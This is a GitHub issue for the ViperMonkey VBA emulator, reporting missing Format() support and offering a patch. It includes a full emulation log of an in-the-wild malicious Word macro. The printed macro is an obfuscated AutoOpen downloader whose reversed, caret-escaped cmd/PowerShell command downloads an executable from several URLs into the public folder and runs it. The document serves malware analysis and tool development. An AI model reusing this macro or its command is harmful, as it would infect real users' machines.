Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

VBA Format() function missing? (includes workaround patch) #42

Closed
emf opened this issue Sep 14, 2018 · 4 comments
Closed

VBA Format() function missing? (includes workaround patch) #42

emf opened this issue Sep 14, 2018 · 4 comments
Labels

Comments

@emf
Copy link

emf commented Sep 14, 2018

A VBA obfuscation found in the wild uses the construct:

Format(Chr(3 + 10 + 5 + 5 + 44)) or
Format(Chr(5 + 14 + 8 + 7 + 65)) to represent the characters "C" and "c", respectively.

VMonkey 0.07 drops this character from string reassemblies, due to not supporting Format()?

INFO     calling Function: Format('C')
WARNING  Function 'Format' not found

output dump of the run is

$ vmonkey dd0adccad0039f61c953ff7014f8c8aea50df0cf
 _    ___                 __  ___            __
| |  / (_)___  ___  _____/  |/  /___  ____  / /_____  __  __
| | / / / __ \/ _ \/ ___/ /|_/ / __ \/ __ \/ //_/ _ \/ / / /
| |/ / / /_/ /  __/ /  / /  / / /_/ / / / / ,< /  __/ /_/ /
|___/_/ .___/\___/_/  /_/  /_/\____/_/ /_/_/|_|\___/\__, /
     /_/                                           /____/
vmonkey 0.07 - https://github.com/decalage2/ViperMonkey
THIS IS WORK IN PROGRESS - Check updates regularly!
Please report any issue at https://github.com/decalage2/ViperMonkey/issues

===============================================================================
FILE: dd0adccad0039f61c953ff7014f8c8aea50df0cf
-------------------------------------------------------------------------------
VBA MACRO EwiAcaJrEiEa.cls
in file: dd0adccad0039f61c953ff7014f8c8aea50df0cf - OLE stream: u'Macros/VBA/EwiAcaJrEiEa'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-------------------------------------------------------------------------------
VBA CODE (with long lines collapsed):
Sub AutoOpen()
On Error Resume Next
   Dim SXpODS()
ReDim SXpODS(3)
SXpODS(0) = 93
SXpODS(1) = 8992
SXpODS(2) = 9459

   Dim nfbmc()
ReDim nfbmc(3)
nfbmc(0) = 293675403
nfbmc(1) = 7
nfbmc(2) = 702

   Dim hYjPi()
ReDim hYjPi(3)
hYjPi(0) = 93
hYjPi(1) = 5
hYjPi(2) = 1976

   Dim jWQjS()
ReDim jWQjS(4)
jWQjS(0) = 17
jWQjS(1) = 303
jWQjS(2) = 982
jWQjS(3) = 9

   Dim OapZu()
ReDim OapZu(5)
OapZu(0) = 2
OapZu(1) = 9
OapZu(2) = 98834684
OapZu(3) = 55210411
OapZu(4) = 91

   Dim kWsjP()
ReDim kWsjP(4)
kWsjP(0) = 7408
kWsjP(1) = 321
kWsjP(2) = 9
kWsjP(3) = 312

   Dim pzhPSF()
ReDim pzhPSF(5)
pzhPSF(0) = 3
pzhPSF(1) = 414933890
pzhPSF(2) = 89
pzhPSF(3) = 962
pzhPSF(4) = 9

Shell@ LTuzuiQ + KZbIqrscsDqR + nqLzrRwnOzbkp, Format(0)
   Dim SJcYtF()
ReDim SJcYtF(2)
SJcYtF(0) = 6913
SJcYtF(1) = 65

End Sub


-------------------------------------------------------------------------------
PARSING VBA CODE:
INFO     parsed Sub AutoOpen (): 47 statement(s)
Module None
  Sub AutoOpen (): 47 statement(s)

-------------------------------------------------------------------------------
VBA MACRO FzniJjjRVH.bas
in file: dd0adccad0039f61c953ff7014f8c8aea50df0cf - OLE stream: u'Macros/VBA/FzniJjjRVH'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-------------------------------------------------------------------------------
VBA CODE (with long lines collapsed):
Function LTuzuiQ()

On Error Resume Next
Dim irbnC()
ReDim irbnC(2)
irbnC(0) = 2
irbnC(1) = 58

   Dim QvZWJ()
ReDim QvZWJ(3)
QvZWJ(0) = 33
QvZWJ(1) = 72780562
QvZWJ(2) = 8

   Dim AzHhc()
ReDim AzHhc(5)
AzHhc(0) = 6
AzHhc(1) = 392230015
AzHhc(2) = 8
AzHhc(3) = 9014
AzHhc(4) = 75197952

   Dim XtDsl()
ReDim XtDsl(5)
XtDsl(0) = 63625617
XtDsl(1) = 8
XtDsl(2) = 5
XtDsl(3) = 823
XtDsl(4) = 9

OBijuHBFaLa = Format(Chr(5 + 14 + 8 + 7 + 65)) + "md /V:/" + Format(Chr(3 + 10 + 5 + 5 + 44)) + Format(Chr(1 + 4 + 2 + 2 + 25)) + "^s^et l" + "^e=  ^   ^  ^ ^ " + "        ^}}" + "^{h" + Format(Chr(5 + 14 + 8 + 7 + 65)) + "^t^a" + Format(Chr(5 + 14 + 8 + 7 + 65)) + "^};^k^a^er^" + "b^;" + Format(Chr(3 + 10 + 5 + 5 + 44)) + "ia^$^ me^tI^-ek"
Dim MvTTn()
ReDim MvTTn(5)
MvTTn(0) = 997
MvTTn(1) = 2
MvTTn(2) = 409
MvTTn(3) = 9
MvTTn(4) = 8054

   Dim TtCpY()
ReDim TtCpY(5)
TtCpY(0) = 517402771
TtCpY(1) = 299854020
TtCpY(2) = 91
TtCpY(3) = 5305
TtCpY(4) = 143

   Dim uXRIj()
ReDim uXRIj(4)
uXRIj(0) = 350
uXRIj(1) = 34
uXRIj(2) = 640
uXRIj(3) = 385980877

   Dim OjdDA()
ReDim OjdDA(5)
OjdDA(0) = 98889860
OjdDA(1) = 971
OjdDA(2) = 24
OjdDA(3) = 2
OjdDA(4) = 3998

rFqkiY = "^ovn^I^;)" + Format(Chr(3 + 10 + 5 + 5 + 44)) + "ia^$" + "^ ,^j^p^X$(^el" + "iF^d^a^o^lnw^o^D.^w^u^I${^y" + "rt^{)ZXn$ ni^ ^j^pX$" + "(h" + Format(Chr(5 + 14 + 8 + 7 + 65)) + "^a^er^of^;'^" + "e^xe.'^+^O^U^I$+^'^\^'+" + Format(Chr(5 + 14 + 8 + 7 + 65)) + "^" + "i^lbup:vne$^=" + Format(Chr(3 + 10 + 5 + 5 + 44)) + "^ia$^" + ";^'093'^ ^= O^UI$^" + ";)'@'(tilp^S^.'J2b6^B/^tn^etn" + "o" + Format(Chr(5 + 14 + 8 + 7 + 65)) + "^-^pw/r^"
Dim tZnGwA()
ReDim tZnGwA(4)
tZnGwA(0) = 878
tZnGwA(1) = 167883523
tZnGwA(2) = 3977
tZnGwA(3) = 257

zUhDioazMp = "k^.o" + Format(Chr(5 + 14 + 8 + 7 + 65)) + "^.^y^ar^t^i//^:p" + "^tth@A^" + "A" + Format(Chr(3 + 10 + 5 + 5 + 44)) + "57^Bj/ur." + Format(Chr(5 + 14 + 8 + 7 + 65)) + "i^t^s" + "i^go^lk^ta" + "//^:^pt^th@l"
Dim rIzjH()
ReDim rIzjH(5)
rIzjH(0) = 15
rIzjH(1) = 85
rIzjH(2) = 222341352
rIzjH(3) = 774
rIzjH(4) = 15414680

   Dim nWPYh()
ReDim nWPYh(2)
nWPYh(0) = 7
nWPYh(1) = 9917

   Dim hjSSnC()
ReDim hjSSnC(4)
hjSSnC(0) = 8
hjSSnC(1) = 3925
hjSSnC(2) = 272
hjSSnC(3) = 971

   Dim hiGHL()
ReDim hiGHL(3)
hiGHL(0) = 1819
hiGHL(1) = 7321
hiGHL(2) = 3

   Dim GbGfr()
ReDim GbGfr(3)
GbGfr(0) = 174
GbGfr(1) = 94
GbGfr(2) = 11

   Dim fwQjB()
ReDim fwQjB(3)
fwQjB(0) = 59130641
fwQjB(1) = 72
fwQjB(2) = 62

pWfpdNuIl = "^0^k5/^s^d" + "a^o^l^pu/tne^tno" + Format(Chr(5 + 14 + 8 + 7 + 65)) + "-pw/ra^." + "u^d^e^.pl^u.sa^moi^" + "d^ie^do" + "tut^itsn^i//^:^p^t^" + "th@4p2u^Z01/^m^o" + Format(Chr(5 + 14 + 8 + 7 + 65)) + ".^ov^it^isopro^lav//:^ptt" + "^h^@j^A^" + "M^2U/^ur^.ely^" + "t^snusbd//^:ptth'^=^Z^Xn$^;^t"
Dim jwJMh()
ReDim jwJMh(5)
jwJMh(0) = 350988871
jwJMh(1) = 54
jwJMh(2) = 2
jwJMh(3) = 352674196
jwJMh(4) = 24

   Dim UKQvML()
ReDim UKQvML(4)
UKQvML(0) = 5
UKQvML(1) = 60
UKQvML(2) = 318547392
UKQvML(3) = 87

   Dim GilGm()
ReDim GilGm(5)
GilGm(0) = 8
GilGm(1) = 5
GilGm(2) = 799
GilGm(3) = 871
GilGm(4) = 82

   Dim tiPpu()
ReDim tiPpu(2)
tiPpu(0) = 7
tiPpu(1) = 73

CcZXXktaIj = "neil" + Format(Chr(3 + 10 + 5 + 5 + 44)) + "beW.^teN^ t" + Format(Chr(5 + 14 + 8 + 7 + 65)) + "^e" + "^jbo-^wen=^w^u^I^$^" + " ^l^l^eh^sr^ewo^p&&^f^o" + "r /^L %^W ^in (" + "^396^;-^" + "1;^0)d^o ^s^e^t ^M" + "G^U=!^MG^U!!l^e:~%^W,1!&&^i^f" + " %^W e^q^u ^0 " + Format(Chr(5 + 14 + 8 + 7 + 65)) + "^a^l^" + "l %^MG^U:^*^M^G" + "^U!^=%" + Format(Chr(1 + 4 + 2 + 2 + 25)) + ""
LTuzuiQ = OBijuHBFaLa + rFqkiY + zUhDioazMp + pWfpdNuIl + CcZXXktaIj
   Dim cpBuji()
ReDim cpBuji(2)
cpBuji(0) = 6
cpBuji(1) = 146

   Dim wDszIX()
ReDim wDszIX(4)
wDszIX(0) = 462538301
wDszIX(1) = 225457549
wDszIX(2) = 9
wDszIX(3) = 20

End Function


-------------------------------------------------------------------------------
PARSING VBA CODE:
INFO     parsed Function LTuzuiQ (): 129 statement(s)
Module None
  Function LTuzuiQ (): 129 statement(s)

-------------------------------------------------------------------------------
TRACING VBA CODE (entrypoint = Auto*):
INFO     ACTION: Found Entry Point - params 'autoopen' -
INFO     evaluating Sub AutoOpen
ERROR    chr() arg not in range(256)
ERROR    8992 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    9459 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    293675403 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    702 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    1976 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    303 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    982 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    98834684 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    55210411 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    7408 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    321 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    312 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    414933890 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    962 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    72780562 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    392230015 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    9014 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    75197952 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    63625617 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    823 cannot be converted to ASCII.
INFO     calling Function: Format('c')
WARNING  Function 'Format' not found
INFO     calling Function: Format('C')
WARNING  Function 'Format' not found
INFO     calling Function: Format('"')
WARNING  Function 'Format' not found
INFO     calling Function: Format('c')
WARNING  Function 'Format' not found
INFO     calling Function: Format('c')
WARNING  Function 'Format' not found
INFO     calling Function: Format('C')
WARNING  Function 'Format' not found
ERROR    chr() arg not in range(256)
ERROR    997 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    409 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    8054 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    517402771 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    299854020 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    5305 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    350 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    640 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    385980877 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    98889860 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    971 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    3998 cannot be converted to ASCII.
INFO     calling Function: Format('C')
WARNING  Function 'Format' not found
INFO     calling Function: Format('c')
WARNING  Function 'Format' not found
INFO     calling Function: Format('c')
WARNING  Function 'Format' not found
INFO     calling Function: Format('C')
WARNING  Function 'Format' not found
INFO     calling Function: Format('c')
WARNING  Function 'Format' not found
ERROR    chr() arg not in range(256)
ERROR    878 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    167883523 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    3977 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    257 cannot be converted to ASCII.
INFO     calling Function: Format('c')
WARNING  Function 'Format' not found
INFO     calling Function: Format('C')
WARNING  Function 'Format' not found
INFO     calling Function: Format('c')
WARNING  Function 'Format' not found
ERROR    chr() arg not in range(256)
ERROR    222341352 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    774 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    15414680 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    9917 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    3925 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    272 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    971 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    1819 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    7321 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    59130641 cannot be converted to ASCII.
INFO     calling Function: Format('c')
WARNING  Function 'Format' not found
INFO     calling Function: Format('c')
WARNING  Function 'Format' not found
ERROR    chr() arg not in range(256)
ERROR    350988871 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    352674196 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    318547392 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    799 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    871 cannot be converted to ASCII.
INFO     calling Function: Format('C')
WARNING  Function 'Format' not found
INFO     calling Function: Format('c')
WARNING  Function 'Format' not found
INFO     calling Function: Format('c')
WARNING  Function 'Format' not found
INFO     calling Function: Format('"')
WARNING  Function 'Format' not found
ERROR    chr() arg not in range(256)
ERROR    462538301 cannot be converted to ASCII.
ERROR    chr() arg not in range(256)
ERROR    225457549 cannot be converted to ASCII.
WARNING  Variable 'KZbIqrscsDqR' not found
WARNING  Variable 'nqLzrRwnOzbkp' not found
INFO     calling Function: Format(0)
WARNING  Function 'Format' not found
INFO     Calling Procedure: Shell('["md /V:/^s^et l^e=  ^   ^  ^ ^         ^}}^{h^t^a^};^k^a^er^b^;ia^$^ me^tI^-ek^...')
INFO     Shell("md /V:/^s^et l^e=  ^   ^  ^ ^         ^}}^{h^t^a^};^k^a^er^b^;ia^$^ me^tI^-ek^ovn^I^;)ia^$^ ,^j^p^X$(^eliF^d^a^o^lnw^o^D.^w^u^I${^yrt^{)ZXn$ ni^ ^j^pX$(h^a^er^of^;'^e^xe.'^+^O^U^I$+^'^\\^'+^i^lbup:vne$^=^ia$^;^'093'^ ^= O^UI$^;)'@'(tilp^S^.'J2b6^B/^tn^etno^-^pw/r^k^.o^.^y^ar^t^i//^:p^tth@A^A57^Bj/ur.i^t^si^go^lk^ta//^:^pt^th@l^0^k5/^s^da^o^l^pu/tne^tno-pw/ra^.u^d^e^.pl^u.sa^moi^d^ie^dotut^itsn^i//^:^p^t^th@4p2u^Z01/^m^o.^ov^it^isopro^lav//:^ptt^h^@j^A^M^2U/^ur^.ely^t^snusbd//^:ptth'^=^Z^Xn$^;^tneilbeW.^teN^ t^e^jbo-^wen=^w^u^I^$^ ^l^l^eh^sr^ewo^p&&^f^or /^L %^W ^in (^396^;-^1;^0)d^o ^s^e^t ^MG^U=!^MG^U!!l^e:~%^W,1!&&^i^f %^W e^q^u ^0 ^a^l^l %^MG^U:^*^M^G^U!^=%")
INFO     ACTION: Execute Command - params "md /V:/^s^et l^e=  ^   ^  ^ ^         ^}}^{h^t^a^};^k^a^er^b^;ia^$^ me^tI^-ek^ovn^I^;)ia^$^ ,^j^p^X$(^eliF^d^a^o^lnw^o^D.^w^u^I${^yrt^{)ZXn$ ni^ ^j^pX$(h^a^er^of^;'^e^xe.'^+^O^U^I$+^'^\\^'+^i^lbup:vne$^=^ia$^;^'093'^ ^= O^UI$^;)'@'(tilp^S^.'J2b6^B/^tn^etno^-^pw/r^k^.o^.^y^ar^t^i//^:p^tth@A^A57^Bj/ur.i^t^si^go^lk^ta//^:^pt^th@l^0^k5/^s^da^o^l^pu/tne^tno-pw/ra^.u^d^e^.pl^u.sa^moi^d^ie^dotut^itsn^i//^:^p^t^th@4p2u^Z01/^m^o.^ov^it^isopro^lav//:^ptt^h^@j^A^M^2U/^ur^.ely^t^snusbd//^:ptth'^=^Z^Xn$^;^tneilbeW.^teN^ t^e^jbo-^wen=^w^u^I^$^ ^l^l^eh^sr^ewo^p&&^f^or /^L %^W ^in (^396^;-^1;^0)d^o ^s^e^t ^MG^U=!^MG^U!!l^e:~%^W,1!&&^i^f %^W e^q^u ^0 ^a^l^l %^MG^U:^*^M^G^U!^=%" - Shell function
ERROR    chr() arg not in range(256)
ERROR    6913 cannot be converted to ASCII.
Recorded Actions:
+-------------------+---------------------------+----------------+
| Action            | Parameters                | Description    |
+-------------------+---------------------------+----------------+
| Found Entry Point | autoopen                  |                |
| Execute Command   | md /V:/^s^et l^e=  ^   ^  | Shell function |
|                   | ^ ^         ^}}^{h^t^a^}; |                |
|                   | ^k^a^er^b^;ia^$^          |                |
|                   | me^tI^-ek^ovn^I^;)ia^$^ , |                |
|                   | ^j^p^X$(^eliF^d^a^o^lnw^o |                |
|                   | ^D.^w^u^I${^yrt^{)ZXn$    |                |
|                   | ni^ ^j^pX$(h^a^er^of^;'^e |                |
|                   | ^xe.'^+^O^U^I$+^'^\^'+^i^ |                |
|                   | lbup:vne$^=^ia$^;^'093'^  |                |
|                   | ^= O^UI$^;)'@'(tilp^S^.'J |                |
|                   | 2b6^B/^tn^etno^-^pw/r^k^. |                |
|                   | o^.^y^ar^t^i//^:p^tth@A^A |                |
|                   | 57^Bj/ur.i^t^si^go^lk^ta/ |                |
|                   | /^:^pt^th@l^0^k5/^s^da^o^ |                |
|                   | l^pu/tne^tno-pw/ra^.u^d^e |                |
|                   | ^.pl^u.sa^moi^d^ie^dotut^ |                |
|                   | itsn^i//^:^p^t^th@4p2u^Z0 |                |
|                   | 1/^m^o.^ov^it^isopro^lav/ |                |
|                   | /:^ptt^h^@j^A^M^2U/^ur^.e |                |
|                   | ly^t^snusbd//^:ptth'^=^Z^ |                |
|                   | Xn$^;^tneilbeW.^teN^      |                |
|                   | t^e^jbo-^wen=^w^u^I^$^    |                |
|                   | ^l^l^eh^sr^ewo^p&&^f^or   |                |
|                   | /^L %^W ^in               |                |
|                   | (^396^;-^1;^0)d^o ^s^e^t  |                |
|                   | ^MG^U=!^MG^U!!l^e:~%^W,1! |                |
|                   | &&^i^f %^W e^q^u ^0       |                |
|                   | ^a^l^l                    |                |
|                   | %^MG^U:^*^M^G^U!^=%       |                |
+-------------------+---------------------------+----------------+
@emf
Copy link
Author

emf commented Sep 14, 2018

Since Format() with only one parameter (eg, no format specification string) behaves like Str(); I have temporarily worked around this with the following patch. This is probably not the right way to handle this, but it seems to work for the moment.

diff --git a/vipermonkey/core/vba_library.py b/vipermonkey/core/vba_library.py
index 5e6cd48..d97d9b7 100644
--- a/vipermonkey/core/vba_library.py
+++ b/vipermonkey/core/vba_library.py
@@ -1043,6 +1043,17 @@ class Str(VbaLibraryFunc):
         log.debug("Str: %r returns %r" % (self, r))
         return r

+class Format(VbaLibraryFunc):
+    """
+    Format(), when abused with no 2nd fmtstring parameter, behaves like Str().
+    """
+
+    def eval(self, context, params=None):
+        assert (len(params) == 1)
+        r = str(params[0])
+        log.debug("Format: %r returns %r" % (self, r))
+        return r
+
 class Val(VbaLibraryFunc):
     """
     Val() convert string to number function.
@@ -1746,7 +1757,7 @@ for _class in (MsgBox, Shell, Len, Mid, Left, Right,
                BuiltInDocumentProperties, Array, UBound, LBound, Trim,
                StrConv, Split, Int, Item, StrReverse, InStr, Replace,
                Sgn, Sqr, Base64Decode, Abs, Fix, Hex, String, CByte, Atn,
-               Dir, RGB, Log, Cos, Exp, Sin, Str, Val, CInt, Pmt, Day, Round,
+               Dir, RGB, Log, Cos, Exp, Sin, Str, Format, Val, CInt, Pmt, Day, Round,
                UCase, Randomize, CBool, CDate, CStr, CSng, Tan, Rnd, Oct,
                Environ, IIf, Base64DecodeString, CLng, Close, Put, Run, InStrRev,
                LCase, RTrim, LTrim, AscW, AscB, CurDir, LenB, CreateObject,

@emf emf changed the title VBA Format() function missing? VBA Format() function missing? (includes workaround patch) Sep 14, 2018
@decalage2 decalage2 added the bug label Sep 14, 2018
@decalage2 decalage2 added this to the ViperMonkey 0.10 milestone Sep 14, 2018
@decalage2
Copy link
Owner

Maybe this would be fixed by this PR: kirk-sayre-work#1

@emf
Copy link
Author

emf commented Sep 14, 2018

Passes all my regressions. Far more comprehensive than the nasty hack I did. Good job, Harold!

@emf
Copy link
Author

emf commented Feb 1, 2019

This got pulled in for PR #55

@emf emf closed this as completed Feb 1, 2019
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

2 participants